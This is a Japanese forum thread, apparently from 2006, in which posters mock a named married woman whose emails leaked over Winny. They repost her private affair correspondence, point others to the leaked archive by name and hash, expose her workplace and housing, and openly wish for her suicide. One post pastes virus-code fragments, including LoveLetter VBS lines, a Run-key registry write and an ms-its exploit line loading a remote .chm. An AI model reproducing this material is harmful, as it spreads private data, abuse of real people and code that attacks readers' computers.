,.-='"'"~`ー、_ _,...-'"´ | | |
,.-''_,.-'''--=、 _>.."_ | .| `;`-、、-、_____
,.-ッ'´/´'" 、ヽ/,.. - 、-、ヽ { `、 ヽ___`-、`- 、_`--、
;-' └〈/ } |' .. `-} }、 !、 ヽ ヽヽ`ヽ--、ミ、、
;',.. ―ッ '´ }|レ-―--、`| .| ヽヾ \ヽ_`;
/ ' ./ /| | ヽ| | \ \ \\_
|' / / | ト--.ニ____`l | \ ミ、\ \
{ {,, /''' .| | | | ~ | .| 丿|-、ヽ、_、ヽ `-、
| ヽ ,.< |:| | | | .|| .| _,. '" | `- `-、__ `ヽ
ヽ _,.-'\`─、_ .|::| .| | | .|:| .| __,.-'´ l 。l | ` -.ミ、
`┬'´ `-、  ̄|::| .| | | |:|└'''" .| リ \
./`ヽ`--- 、..._`-==| | .| | | .||| .l o | _,.-'
./ ヽ  ̄'';;;;| | .| | | || | .| ' _,. '"
.| ` { { .| | | || !. _,..-'"
| `''"` ̄ ̄、'''-'~`-'"
>>187
古くなってアブラ焼けした天ぷらなんていらネ このスレ荒らしたいのは一人しかいないよねw
まさか、愛する妻のバカさ加減が露呈されるのが嫌で…?
それで、703とデビはオタニで会ったの? ←本題w
外人さんって、後朝の歌の"ような"ものを送ると思うんだけどナ!
このスレ荒らしたいのは一人しかシコてろw
まさか、愛する妻のバカさ加減が露呈されるのがシコてろ…?
それで、703とデビはオタニでシコたの? ←本題w
外人さんって、後朝の歌の"ような"ものを送るとシコてろナ!
--------------------- 過疎スレに認定すますた ----------------------
>>193
ナヲミ-1からナヲミ-5<鼻の穴>まで参加登録完了でつ。 (`・仝・´)\シャキーン! pochioも参加したけど、ナヲミ-3に完敗すますた・・・・・orz
.__. ノリ^_^_ヽ)
ゝ _ ノ l l @ @ l
.(【__】 川 ー¨ノ
 ̄ ̄ ̄ ̄i ヽ。) ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ノ ヽ_つ━~
〜( ヽ
(`ー┐ )
`Y し'
_|!_
このAAかなり強力だw
.__. ノリ^..^..ヽ)
ゝ _ ノ l l # ³ ³ l どこまでも貪欲な方ね!
.(【__】 川 ー¨ノ もうこれ以上見せる物なんかないわよ!?
 ̄ ̄ ̄ ̄i ヽ› ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ノ ヽ_つ━~
〜( ヽ
(`ー┐ )
`Y し'
_|!_
こっちの方が好き。
Oh!コピペしたらせりふが残っちゃってたよ。
許してちょんまげ。
. ´ ` .
, ´ ヽ ヽ
/ ', ',
l i il ハ ト. ト. li l i
l i li l i .| i i i li l |
l l lト、l ', | l i ト. il |. l
200げっと!! l Vfi::ヽ ヽj Vヽil.l| i⌒i i
こんな糞スレ iハ| |::r'l |::r'リハ i´ .l !
爆破しちゃる!!. l ! ー'' i:::ー'_ノ /.イ i
N入 `、ー┐"" | i il !
,. ===== 、 | il > -- -r ´.| / il i
.《 .(_), | i| i /7/ //i∧ il. ハ
》 /::.. `ヽ. リi l ///__i i i/ ヽ. i ',
,.※. /:::.. ', | i/ i \ \ \
i;::. ・ ∀・ i | / i ト、 \ \
ゝ;::. /`ー┴-く /i l \ \ ヽ
f^Yヘへイ _,__ __/ | ト、 \ \ ヽ
`ー〜ー '´ `| ̄ / iヽー- ヽ、 ヽ、 ヽ、
| / ! ヽ、. `ー--ァ
i / ヽ._ _フ ヽ.
ゝ. / i` ヽ ヽ
/ 〉\ ヽ ',
/ f´ ', ト、 i
/ ノ i i ヽ.j
〈 | /´⌒\ .l l
`ー〜 、__ _j __r'´ ヽ l /
i.___ _r'´ レ'
| i´く`´
| i ハ
| ハー 1
| .i j ̄ jj
i リ⌒Y 〉
f`ーrノ- v' /
/、 ̄.|`ー'ノ
/、 ヽl  ̄
{ー‐'‐ ' ノ
`ー‐‐'
andatsuキンタマshareで流してるんだから
もっとダウソしろよおまいら
>>202
キンタマ入りのブツなんざイラネーっつうの! 【欄検眼段】不倫妻 安達 直美(あんだつ なおみ)のOUTLOOK EXPRESS(変換済み).zip 219,757,909 362
afe4b67cba07b5e27a13ab63cc13a
落としてみたところdbxファイルがすべてemlファイルに変換済だった。
メール内容がお手軽に読めるよ。dbxを読むソフトが必要ない。
デビドと703の英文メールまだーーーーーー?チンチン(AAry
一生バレナイつもりが来世までの恥露出だな(^o^)d
∧_∧_∧
___(・∀・≡;・∀・) ドキドキドキ
\_/(つ/と ) _
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄/|
|  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :|
| .|/
_∧_∧_∧_
☆ パリン 〃 ∧_∧ |
ヽ _, _\(・∀・ ) < マ
\乂/⊂ ⊂ ) _ |_ _ _ __
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄/| . ∨ ∨ ∨
|  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :|
| .|/
_ ___
\>,\/
<⌒/ヽ-、_ _
<_/____ノ
結婚の意味を勘違いしています。女性の不要時代にするしか無いです。
>>209
意味不明。703語ですか?
よって703系に認定すますた。 >>703系
なんかスペックが低くてすぐ故障しそうな響きだね。 >>211
その代わり、誰にでも簡単に取り扱えるよ。 ヘソも耳も拡張可能じゃね。
それから尿道もwww
9穴実装だわな
703系って、かものはしタイプの新幹線かと思た。
意外に、703系って存在するかも? 教えて>鉄ちゃん
>>215
703系の新幹線って、鼻の穴の大きいラスカルがペットマークですから〜〜〜w この人に限らないけど、流出が原因で
自殺しちゃった人とかいるのかな?
もはや末期ですw
私は安達をアダチとは読めなくなりましたw
タイプミスに注意しましょうw
>>219
ワテクシも最初にアダチが浮かびませんでした。ヤバス。 >>217
この人は自殺どころか、ひとごとのようにフツーに
生活しておられますし、離婚もしておられません。 >>222
騒ぎは2Chだけだし、誰も直接本人に対してこの流出騒ぎを
問うわけでもないし。ある意味自覚なしかも。
三流週刊誌に取り上げられてもねぇ・・・ >223
>誰も直接本人に対してこの流出騒ぎを
>問うわけでもないし。
そりゃ誰も当時者に聞ける訳ないわさ。
でも脈々と墨菌関係者の中で語り継がれていく、と・・・。
ちなみに某関西の墨菌関係者、不倫がバレた事それとなし知ってたwww
『恥晒し』だって、さ。
表面上誰も触れないけど、裏ではみんな知ってるのって、
「普通の人なら」結構ストレスなるだろうけど、厚顔だからね703は〜。
>>223
784 :可愛い奥様:2006/05/21(日) 13:21:09 ID:Lt8ubZql
会社の同僚や道ですれ違う女子高生が次々と「いいなー!ネズミーランド!」って
言う某社の某CMじゃないけど、周囲の人が毎日「今夜のプリン相手は誰?」とか
「ねえねえ、2ch見た?」とか言えば、さすがに気にするでしょう。
社宅や職場に付箋のついたポストやブブカが送られることもなければ、
もう何もなかったように半分忘れてるとオモ。 大事なのは、本人に凸する勇気!周りに知らせ続ける根気!
それがなければ、703に離婚も反省もありえない!or2 ・・・・鴨
晒された人は外国行くか自殺するしか無いんだろうな
晒しの度合いにもよるだろうけど
>>227
今の状況じゃ、ないない
それに703の神経の太さときたら・・・・orz >>230
ブブカの記事の〆が「どうせ自殺するんじゃない(プゲラ」ってかんじだったから
>>228は勘違いしてるんじゃないか?
伝聞って怖いねw 自殺してるんなら、社内でもっと噂になるわよ。>>228アリエナス。
本当に氏んでくれたら(プゲラだわ。
死ねばきっと週刊誌やワイドショーが取上げるよ
楽しみにまとうよ!
>>233
マダカシラ...( ´д)ヒソ (´д`) ヒソ(д` )wktkヨネ、オクサマ ブブカの「どうせ自殺するんじゃない(プゲラ」を
703がそんな簡単に許す訳もないだろうし、自殺するくらいなら
とりあえず名誉毀損とか肖像権の侵害とか理由をつけて慰謝料を
出版社から巻き上げてやろうと鼻息荒いんじゃないのかな?
それを見越して、703が怒り狂って出版社に乗り込んでくるのを計算して
自殺云々わざと載せてるのかもね。
それでもって703の抗議に反論する出版社が余罪を更に掘り下げていく・・・、っていう
シナリオだったりして・・・www
厚顔の上に厚塗りなので 人々の視線も全然痛くない
それが703クオリティ
>>235
大正解。よ〜く703を理解しておられますね >>239
もしやブブカの中の人!?
703の追加取材よっよろしく!! ハノ淫∧ヽ
从゚(00)゚从
/⌒ ◎ ⌒'ヽ
i⌒ヽ(・ ハ ・)/⌒i
| l ヽ / l |
| | ヽ 肉 / | |
| ( ヽ (()) .) |
ノ _) `ー*ー ' (_ ヽ
⊂_ノ 〜 `⊃
鬼女板で貼られてたが・・・キモすぎるwww
899 :可愛い奥様:2006/05/24(水) 01:22:08 ID:FueUdO/b
>>898
まとめサイトには「GWは6つの穴を使って6P・・・」と書いてあるんだけど
5つじゃない?鼻2つ・口1つ・アソコ1つ・アナル1つの合計5つ
AA「あなたちには無理」ってやつねw
900 :可愛い奥様:2006/05/24(水) 02:09:23 ID:jJJZlo9e
>>898
もうひとつ、尿道があるわよ。
最初は鼻2つ・耳2つ・口1つ・へそ1つ・尿道1つ・アソコ1つ・アナル1つで
合計9つって書いたんだけど、耳とへそは断念したわ。
尿道は好奇心旺盛な703と、超ミニサイズなディックの持ち主ならチャレンジ可能よ。
901 :可愛い奥様:2006/05/24(水) 03:23:44 ID:yQoKLzb0
今日もすればよかったのに・・・。好きにしていいって言ったじゃない。でも、指は
1本までね 向こうは月2スレのペースか。703関連では一番盛況だな。
Subject: see you in Ibaraki
Hi Naomi,
I sent an e-mail to Hiroaki with my seat number.
I hope to see you in Ibaraki.
Then we can see Ireland play football.
Would you like to come with me to see Ireland training
on Thursday.
I hope you say 'Yes'.
Can't wait to see you in Ibaraki.
David.
Subject: Thank you
Hi! Thank you for e-mail.
It is secret in Hiroaki to have taught the e-mail address.
him -- jealousy -- since it is deep.
Japan has lost the referee, though regrettable.
Tomorrow is it the German game.
After going to a sport gym and coming together
for buying the hat of Irish green for Makuhari,
it goes to Kashima.
What time is it practice on Thursday?
I will come back home to Kashima on Thursday arternoon.
So, I think, I don't go to Makuhari.
I will go to Makuhari again.
It is there being a problem, and hardly being able to talk,
although my can do English to some extent as for listening
comprehension.
Therefore, it can't be said with you that it does not go with
Hiroaki.
I hope see you again tomorrow in Kashima.
Naomi
Subject: Don't Worry
Hi Naomi,
I like you a lot so don't worry I will not let Hiroaki
know that I have your e-mail address.
I am happy to hear from you,and I think that your
English is perfect.
I have not yet gone to bed since the game so I am very
tired now.
It was a very good game for Ireland and puts us in a
good position to go through.
It is a pity that you could not be here last night,all
the Irish team were in the bar where I met you.They
were having a drink with all of us so it was really
good fun.
I do not think that I will see Ireland train today
because I am so tired but I will see them
tomorrow,Friday, only if you promise to come with me.
Hiroaki does not know so please come!!
Love David
ps.I sent Hiroaki an e-mail about the game.
Date: 2002年06月06日 19:44
Subject: Hello
HI David,
Thank you for e-mail from early in a morning.
It was very nice game yesterday.
It has been moved very much deeply.
The seat had many people of near at the time of Niigata,
and when a score entered, they embraced each other.
Did it surely rise till the morning?
I have come back from Kashima's parents' home this morning.
It went to the after hair salon, and hair has been cut.
Is it said that David wants to meet me by two persons?
Why?
Though regrettable on Friday and Saturday,
it is Ibaraki as the volunteer of the World Cup.
although it thought that it said with the bar,
it seems to have deified around the stadium.
Did yout not see?
It has a kimono on there and the tea ceremony is
carried out.
Since it is made to translate the back from grade
Japanese which has used the translation site if it is e-mail,
although it is my English, and the strange text is corrected
personally a thing.
In practice, understanding of an intention can't be
performed in the grade about which it was speaking with the bar.
Thank you for e-mail I'm glad.
It is waiting for the your e-mail.
I'm checking every now and then unless I have gone out.
Plese sent me e-mail.
Naomi
Date: 2002年06月06日 20:58
Subject: maybe Sunday?
Hi Naomi,
I am sorry but I think I missed the tea ceremony.It is
a real pity because I would have loved to see you.
Yes I also felt very excited when Ireland scored.
As I said we all stayed up until after 6.00am with the
team.
It was wonderful,Robbie Keane and Damien Duff were
singing songs like the rest of us.
If you were there you would have got a lot of pictures
and autographs.
I am sad that I can not see you tomorrow or Saturday.
If you have to go to Ibaraki as a volunteer then that
is OK.You have a very generous heart.
But maybe you can make it for Sunday training??
I would like to see you alone and that is because I
like your company.
You also know that you are the most beautiful woman
that I have ever met...
So come alone or bring a friend or Hiroaki.All I want
is to see you again soon.
Please come...
I got an e-mail from Hiroaki today about the game.
He said that he will tell you all about my e-mail.
Don't worry I will never tell him that I have e-mailed
you.So you don't tell him either.
I am also waiting just to hear from you.
Please come Naomi, I want to meet with you.
With love,
David
Date: 2002年06月06日 21:40
Subject: Re: maybe Sunday?
HI Thank you for e-mail.
It can go, if it is the front, since it is a Japanese game on Sunday night.
From when is it practice? Supposing it goes, it will go for secret to
extensive Ming by carrying out.
Does the way which saying that I love imprudently although it has got
married
left love as a good ? friend? a reply
I'm waiting for your e-mail.
Date: 2002年06月06日 22:18
Subject: PS
Hi David
When thinking well, it may go to drink to New Otani after the game of
Yokohama.
It is known that I was coming to the Ireland supporter besides then alone,
and it is [ it is not rich and ].
Practice will be given up??
Instead, he meets you. However, they are the conditions that other men do
not see.
Naomi
Date: 2002年06月08日 00:35
Subject: Naomi
Hi David
Are some offended although a reply cannot be got?
Although I go home on tomorrow night, mail of a personal
computer can also be seen also under its parental roof.
however, at the time of hurry, although mail of a cellular
phone could be used,
Do you sent to my cellular phone adress?
Please sent an e-mail.
By
Naomi
From: "Hiroaki Andatsu" <hirochan@plala>
To: <David>
Date: 2002年06月08日 11:20
Subject: Today
Hellow David!!
I will go to the traininng field in Makuhari
to watch the practice of the boys in green.
And after watching it, I am going to
"the Irish Garden" in Hotel New Otani at about 1:00 p.m.
If you can have a time to meet me,
please come to the garden.
See you later
P.S. Naomi is now in Ibaraki to take part in tea celemony
for the people who come to the studium.
So she can't go with me.
Hiroaki
Date: 2002年06月08日 16:33 Subject: Sorry
Hi Naomi,
Very sorry about not replying.We had a few parties the
last 2 days and I was unable to get to a PC.
I am sorry and I hope you will forgive me.
I would love to go to Ibaraki with you and see you
perform the tea ceremony in Kashima.
`I love` can mean love as in eternal love which is
ultimate love OR `I love` can mean as a good friend.
It depends on who is saying it and why.
I don`t know what time training is on at Sunday but
I`ll find out and tell you a little later.
I met with Hiroaki today but because of the party it
was too late when I got up from sleeping.
Hiroaki was going to show me a game of Baseball but it
is now too late to go to Yokohama.
So instead he agreed to meet me after the Ireland game
in Yokohama.
You say that you will come to New Otani hotel after
game in Yokohama.Which game do you mean?
Japan`s game tomorrow or Irelands game on Tuesday??
I hope you mean tomorrow because I love to see you!!
I got your cellular address so now I will send you an
e-mail to it.400 characters.
Hiroaki said that tomorrow he plays volleyball so if
you want I could meet you somewhere but that is up to
you...
I will let you know about training later.
Love David
Date: 2002年06月08日 18:20
Subject: Re: Sorry
Hi Devid
Thank you for e-mail.
Although it seems that extensive Ming went to meet you today,
though it was regrettable, he was disappointed,
saying that the previous engagement was contained.
Probably, I think it after playing a game in Yokohama that
extensive Ming has said. Yet, since it is connecting only by
e-mail,
I don't understand a detailed thing, either.
It seems that he will go for volleyball before a Japanese game
tomorrow. But it is a talk after 16:00.
I think that the talk is not made, although it does not matter
to meet you. If what does it carry out the back and meets,
it will be after 14:00. Moreover, I also look at a Japanese
game.
I ask a reply of a cellular phone's e-mail.
Since it returns to Funabashi from now on
Date: 2002年06月08日 21:14
Subject: Now
Hi David
I come home. So Please sent e-mail this adress
Naomi
Date: 2002年06月08日 23:33
Subject: PS
Hi David
It was heard that it had gone to drink to Roppongi also today.
When doesn't it understand it that it surely sees this e-mail to come,
either?
It was said that I wanted you to send e-mail to PC previously.
However, since extensive Ming may use, please send both with a cellular's
mail.
I hope, you look this mail early time, and return the e-mail.
Naomi
Date: 2002年06月10日 11:15
Subject: want to see you
Hi Naomi,
Do you still come here after the Ireland game
tomorrow?
Japan were fantastic last night.Very good goal from
Inamoto.Everyone here went wild with delight.
Congratultions,that should get you to the second round
hopefully.
Tokyo is a wonderful place but Repongi was a bit
busy.So many people.
Ireland football team are having a closed training
session today and another private one tomorrow
morning.That is a pity.
So will you be coming here to the New Otani after
Ireland's game in Yokohama?
Will you be alone or have company?
I really want to meet you if that is OK...
Love David
Date: 2002年06月12日 02:19
Subject: Good morning
Hi David
Today is very happy!! Good game!! And Ireland's team get a checkt
go to Korea.
What time do you leave in Japan?
I hope meet you, so say good bye.
But today(Wed.) is sports gym's day.
Please all me back your e-mail.
Naomi
Date: 2002年06月12日 08:54
Subject: Re: Good morning
Hi Naomi,
I'm afraid that I leave Japan at 12.30pm so it is
unlikely that I will get the chance to meet you.
This makes me very sad since I was hoping to meet you
before I left your beautiful country.
I will miss you dearly Naomi.
There is a special place for you in my heart...
Talk to you when I get home,
Love David
Date: 2002年06月12日 09:30
Subject: Re: Good morning
Dear David
Is it telling a takeoff to 12:30? It is regrettable that it thing ?
Meets and good-bye can't be said which is already Narita Airport then.
Let's meet, if I go to Ireland. Any longer, doesn't David come to Japan?
Please carry out sightseeing of Japan by all means now.
Japan has the four seasons and is very great.
It is praying that it can return to Ireland safely.
Naomi
Date: 2002年06月12日 12:06
Subject: miss you
Hi Naomi,
I shall miss you.
Now I am in the airport,Narita.So I must say goodbye.
But I will always remember you and some day I will
return to meet with you.
Love David
Date: 2002年06月12日 21:36
Subject: Thank you
Hi David
Thank you for considering!!
It's lonely to meet you.
Although it was one week and short time, I was very pleasant to have met
you.
I was also busy because of the World Cup, and time to meet was not able to
be made.
I'm sorry. Probably, it is being said that Hiroaki wants to travel Ireland.
Does it surely connect then?
Although it is good in my English improving.
I'm sorry I don't have a vocabulary.
The thing which likes where my.
Can this e-mail be used all the time?
Please give your e-mail occasionally.
Naomi
Date: 2002年06月13日 20:04
Subject: of course
Hi Naomi,
I am going to miss the opportunity to meet with you
now that I am back in Ireland.
Of course I will send you e-mail while in Ireland and
hopefuly some day you might also travel to this
country??I would be delighted to see you.
On the way home we stopped in Amsterdam and a few of
us decided to stay the night there.Great fun and what
a fantastic city.
I am at work now so time is shortbutas I said I will
keep in contact with you.
Love David
思うに、最初のDからのメールに深い意味はないな。
”can't wait”とか”I hope you say 'yes'”なんて、
いかにも愛想の良い外人が書きそう(サポーターだと思って
健全な意味で盛り上がってる感じがする)
てっきりナンパだと思ったねーさんは、即鼻の穴全開で
「メアドの交換したのは秘密なのよ、ポチオ嫉妬深くてさぁ」とか
コナまぶした返事送ったみたいだけどw
>>264
703メールの受信済BOXと送信済BOXにあるよ。2002年あたりで。 相変わらず703の英語解りづらいよ・・・
今でも連絡とりあってるんだろうか。
268 NGNG
つーかフェラ貴の勤務先って安全圏皇室だろ?
そこの室長って「小野」っていう苗字だろ。
姪が数年前まで住金に(ry
よくいるよね、AV企画モノを本物と勘違いして興奮してる馬鹿が・・
25歳の制服着た女を女子高生と信じちゃう人種だよね。
それでいて、童貞のモテない君で、
703みたいな強欲基地害に押し倒されて結婚して、
同時多発不倫される運命なんだよね。
ハノ淫∧ヽ
从゚(00)゚从 <age
/⌒ ◎ ⌒'ヽ
i⌒ヽ(・ ハ ・)/⌒i
| l ヽ / l |
| | ヽ 肉 / | |
| ( ヽ (()) .) |
ノ _) `ー*ー ' (_ ヽ
⊂_ノ 〜 `⊃
>>277
バイト先は社員数人が知っているらしい
703が自分から話したバイト仲間から一時噂がひろがったようですが
誰も興味がなかったので自然消滅したらしいですわ
社宅は3月に投書凸した鬼女奥がいるらしい I will go to Makuhari again.
I really want to meet you if that is OK..
It was a very good game for Ireland and puts us in a
I am going to miss the opportunity to meet with you
now that I am back in Ireland.
Please come Naomi, I want to meet with you.
I'm sorry. Probably, it is being said that Hiroaki wants to travel Ireland.
Does it surely connect then?
この事件、今知ったわ。
つうか、嫁は美人なのに、旦那はそうとうなキモ顔だね。
どうやって、こんな美人の嫁をゲットしたのだろうか?
周りの人が知ってるのに普通に生きて行けるとは
信じられん
この事件今知りました。
どうやったらファイルをゲットできるのでしょうか?
教えてください。
>>283
今時、京大卒なんていう肩書きで釣られる女なんているんだ?
勤務先だって、古い日本の象徴みたいな会社だし。
相当古い価値観の持ち主なんだね、この女。
>>284
鹿島の町工場出身、簿記専門学校卒の田舎女ならそんなモンでしょう >>285
簿記専門学校って、商業高校の延長みたいなガッコ? >>290
頼むから、そんな危険物を家畜に食わせたり肥料で撒いたりしないでくれ!
ダイオキシン処理と同等の高温焼却所で処理キボン >>292
感染すると異様に既婚男性に迫り、小銭をケチるという症状が出ますw >>295
ホテル代は払うつもりはありません。
肉便器にお金は使えませんので。 . ´ ` .
, ´ ヽ ヽ
/ ', ',
l i il ハ ト. ト. li l i
l i li l i .| i i i li l |
l l lト、l ', | l i ト. il |. l
300げっと!! l Vfi::ヽ ヽj Vヽil.l| i⌒i i
こんな糞スレ iハ| |::r'l |::r'リハ i´ .l !
爆破しちゃる!!. l ! ー'' i:::ー'_ノ /.イ i
N入 `、ー┐"" | i il !
,. ===== 、 | il > -- -r ´.| / il i
.《 .(_), | i| i /7/ //i∧ il. ハ
》 /::.. `ヽ. リi l ///__i i i/ ヽ. i ',
,.※. /:::.. ', | i/ i \ \ \
i;::. ・ ∀・ i | / i ト、 \ \
ゝ;::. /`ー┴-く /i l \ \ ヽ
f^Yヘへイ _,__ __/ | ト、 \ \ ヽ
`ー〜ー '´ `| ̄ / iヽー- ヽ、 ヽ、 ヽ、
| / ! ヽ、. `ー--ァ
i / ヽ._ _フ ヽ.
ゝ. / i` ヽ ヽ
/ 〉\ ヽ ',
/ f´ ', ト、 i
/ ノ i i ヽ.j
〈 | /´⌒\ .l l
`ー〜 、__ _j __r'´ ヽ l /
i.___ _r'´ レ'
| i´く`´
| i ハ
| ハー 1
| .i j ̄ jj
i リ⌒Y 〉
f`ーrノ- v' /
/、 ̄.|`ー'ノ
/、 ヽl  ̄
{ー‐'‐ ' ノ
`ー‐‐'
>>302
土日になると君のような人が増えて困ります。 come free action independence argue.
number different evil arms need? sudden principle glass embarrass thought?
between times yellow. pay books gym reading.
spoke rose explain taught steps? favour friends as burst? thee better miserable.
美人・・・か?
どう見てもブスにしか見えないのだが・・・
写真写りがよっぽど悪い・・・のか?
どうみてもブスだよ。
現物はもっとひどい。
写真写りはいいほうじゃね?
あれだけの恥をさらして関係者に多大な迷惑かけておきながら
のうのうと生きてるその神経はたいしたもんだw
恥を知ってる普通の人間なら引越しして逃げるよな?
まさにDQNを地でいく肉便器だ
鬼女板のほうのスレ、ウイルスコード貼ってあって見にいけない。
【保険で日銭】不倫ねーさん(Winny)25【アテクシ健在】
何が何でも703の日(明日)のレスは避けたいようだけど、
ウイルスコード貼るのって器物損壊とかの罪にならんのかな?
誰が貼ったかバレバレだと思うんだけどw
アテクシも本スレ見れない、Jane DOe Style です。
>>333
それってホント?アテクシもJane DOe Style235だけど
BitDefenderでは無反応だけど・・・ ウイルスコード貼ろうが何しようが分の思うとおりに進めたい703の意地汚さ、
これが703叩きの増長する原因のひとつ。
本当に可愛げのない輩だな〜。
ms-its:mhtml:file://C:\
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<body onload=window()>
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
End Sub
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WC 7月3日は703の日なだけに、ねーさん頑張ってますね。
ハッスル!
ハッスル!!
よくよく考えてみたのだけど、winnyに引っかかるようなレベルのPCの知識しかない方が、ウイルスコード攻撃なんて考え付くかしら?
もしかして「みかかDのTBTさん」の影?と思うのは私だけ?
コミーが必死になってると、どこからか・・・・www
>>344
それはメデタイ (・∀・)メデタイ!!!!11 振込先銀行名 : ジャパンネット 銀行
振込先支店名 : 本店営業部(ホンテンエイギョウブ)
振込先口座番号 :普通 5349870
受取人口座名義 : マエダ コウイチ
振込金額 : \ 80,000
正直、不倫とかしてる時点で人間のクズだからどうでもいい。
小泉チルドレン佐藤ゆかりのスキャンダル この一年間のまとめ 秘書らに逃げられ総理に疎んじられ代議士失格!
http://society3.2ch.net/test/read.cgi/giin/1160130877/9 議員の皆さん、政治資金が無いなら株を買えばいいYO
●公募中、コネがあるサイタマ15区の選考落ちで安部氏に「喧嘩売ってんのかYO」と暴言。岐阜1区に左遷。
★2005年8-9月、『W不倫/不倫メール500通疑惑』発覚。出世の為に他人の家庭を壊した過去の行状がバレる。
★9月、当選直後に選挙区内の有権者宅を個別訪問した件で市民団体に公選法違反を告発される。また国会審議中に居眠りした疑惑も発覚。
●11月、「子育ては自助努力で行え」、「私は女性優遇枠ではない」とワセダで暴言。隣席のさつき氏を呆れさせる。
★2006年4-5月、グレーゾーン金利などサラ金問題処理の最中、チワワの行政処分直後にサラ金団体で講演し癒着判明。アナリスト時代からサラ金に投資を勧め、某サラ金とは仲が良いことが発覚。
★同、『サイタマの脱税学校法人癒着・補助金くちきき疑惑』発覚。2006年冬、学園が当局に脱税を指摘される直前に講演。議員がサイタマから出馬したがった動機や、学校教育に口を出したがる真相が発覚。
●5月、ゆかり組東京事務所に“人殺しの8”氏が出入りしているとの指摘がなされる。
●5月、岐阜の民主候補の公約「ふるさとお返し税」のパクリを行い、更に自身のアイデアと某総裁候補に嘘を吐いたとされる『疑惑のふるさと税』発表。
●6月、同僚議員との不倫デートが発覚。同僚のセクハラだと言い逃れするが、TVでおどおどしたうそ臭い様子が放送され非難を受ける。安陪氏にもうないな?と念まで押され、後に「あの女はまたやる」と疎んじられる。
●6月、紛糾した審議中に遊びで写メール激写!「(国会で)初めて撮りました」とタイゾー並みの言い訳。
★7月、岐阜で起こった一億五千万円の出資詐欺に加担していたことが発覚。その詐欺師を後援会の宴会に呼んだことまでわかる。
★7月、長良川花火大会・公選法違反疑惑発覚。花火大会の招待券を手に入れ、選挙区内の産婦人科医に譲渡した疑惑。削除依頼まで出る。
●7月、TB$番組朝ズバの赤坂億ション議員宿舎問題で「議員は贅沢させないと企業と癒着する」と暴言。税金4000万も貰っておいてまだ不足かと反発され番組降板。しかも新議員宿舎には住まないと明言しながら住んでいることが発覚。 今北。
むちゃくちゃ近所だったから一瞬びびっちまった。
ってわけで、ほしゅ
浅田次郎が爆弾発言! 『 不倫相手には消えてなくなってほしい.... 』 (σ@д@*)!☆
「 ややこしい恋愛をしているとね…… こいつ、消えてなくならねえかなっていう男性願望があるんです(笑)。
ヒロインのみち子は、 男にそう思われるであろうそんなかわいそうな女性の主人公なんです。 僕のほかの
小説 『 壬生義士伝 』には、妻に一途な貫一郎という主人公が出てきますが、いるわけがない(笑)。いたと
しても、現代の場合あんなに強くないでしょう。もっとへなへなの弱い男ですよ。 どんなに女性を愛していよ
うが、それはそれとして… 動物的で、生理的なものなんです。みんな口に出して言わないだけで、男なん
てそういうもんです。本質は!女性には理性をもって、寛容の精神で見ていただきたいですけど、なかなか
いませんよね(笑)」 http://headlines.yahoo.co.jp/hl?a=20061020-00000005-flix-ent
エロすぎるな。。 東京⇒和歌山に転勤。
社宅に入れずアパート暮らし。
結構かわいそうだよね。この人でしょ
29を復活したいがどうしていいかわからない。
情報カキコしたい
マルハン王国の闇http://jbbs.livedoor.jp/bbs/read.cgi/game/1733/1086581896/3-8
韓会長は月に一度は韓国へ里帰りしていた。 しかし理由はそれだけではなかった。
伊藤忠商事本社イケダ部長と駐韓ソウル支店長と共に 新韓銀行本店、新韓生命保険本社へ通った。 なぜ韓国マネーとつながりがあるか?
多店舗で展開する場合は方法に問題がある。 各店舗ごとに用意すればいいかもしれないが、それだけ 秘密の漏洩になる。
そこで考え出されたのは、ネットワークによる集中管理である。ネットワークであればその制御装置本体の
設置場所をホール内である必要もなくなる。
「マルハンの店頭公開利益を見込み、第三国経由で 資金調達をする。」 その役目を買って出たのが先のメンバーである。
新韓銀行と新韓生命保険が伊藤忠との三角取引で マルハンへ迂回するというもの。中国も関わっているらしいが
詳細は不明なままである。 金額は具体的に知らされていた。1回目が800億円、 2回目が5〜600億円というものであった。
◎ハンの今後の目標は売り上げ5兆円、500店舗、上場すること。
新スレ→○○○マルハンパチンコタワー渋谷パート10○○○
★★★★★このスレの解説★★★★★を読んでみるとよく判る。
http://money6.2ch.net/test/read.cgi/pachij/120←くっけて→1304777/559
人妻エロス
つーかさ、結婚してから1度も不倫してない女なんてい今時いるの?
いや、まじでさ。
>>406いないだろうな……
そうとうなブサ面じゃなきゃしてる ソフトバンクの公式サイトで、不倫日記を書いてる既婚男性を見つけたんだけど。日記に個人情報が乗ってるから、ネットで絞って住んでる所も名前も特定出来ちゃったんだけど。一人で地道にやったんだけど。なんか、ねらーみたいな事してる自分にビックリだわ。
スレ違いかもだが…掲示板に 歩いて行ける店から 自宅番号から 携帯番号から 全顔まで、自分で晒してる主婦は…ここに書き込みOK?
そうだねーw
うんこだねww
金欠だわww
うんこだわww
はい、そこのおじょうちゃん逮捕
俺のメガネを笑ったから。
ゴルフクラブ大樹受付嬢の方で、車種はベンツワゴン、事故をした際の業者が妻帯者にもかかわらず、交際をしている模様。
